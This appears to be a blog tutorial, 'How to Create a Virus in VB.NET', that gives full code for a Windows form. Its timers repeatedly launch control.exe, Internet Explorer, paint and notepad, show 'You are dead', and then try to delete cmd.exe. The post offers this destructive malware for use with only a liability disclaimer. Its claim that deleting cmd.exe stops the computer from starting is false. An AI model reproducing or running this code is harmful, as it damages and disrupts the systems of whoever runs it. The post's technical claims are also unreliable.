How to Create a Virus in VB.NET?


DISCLAIMER: Try out this code at your own risk. We’re not responsible for any damage resulting from use of this code.

 

This is a very simple virus. It just starts a whole lot of programs and then after 10 seconds deletes the command file of windows so that the computer can’t be started.

 

Make a new Windows application with only one form.

Add 5 timers to it. Change the interval of the first 4 timers to 100 and make the interval of the last one 10000.

The interval is in milliseconds. It means that the timer will execute its tick event once every interval.

The names of the timer should be Timer1, Timer2, and so on and the name of the form should be Form1.

Double click the form and the following code to the Load event:


Timer1.Enabled = True

Then add the following code to the timer events.


Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
 Process.Start("C:\Windows\System32\control.exe")
 Timer2.Enabled = True
 End Sub

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
 Process.Start("C:\Program Files (x86)\Internet Explorer\iexplore.exe")
 Timer3.Enabled = True
 End Sub

Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
 Process.Start("C:\Windows\System32\paint.exe")
 Timer4.Enabled = True
 End Sub

Private Sub Timer4_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer4.Tick
 Process.Start("C:\Windows\System32\notepad.exe")
 Timer5.Enabled = True
 End Sub

Private Sub Timer5_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer5.Tick
 MsgBox("You are dead")
 Timer1.Enabled = False
 Timer2.Enabled = False
 Timer3.Enabled = False
 Timer4.Enabled = False
 Kill("C:\WINDOWS\system32\cmd.exe")
 Timer5.Enabled = False
 End Sub

Advertisements

One comment

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s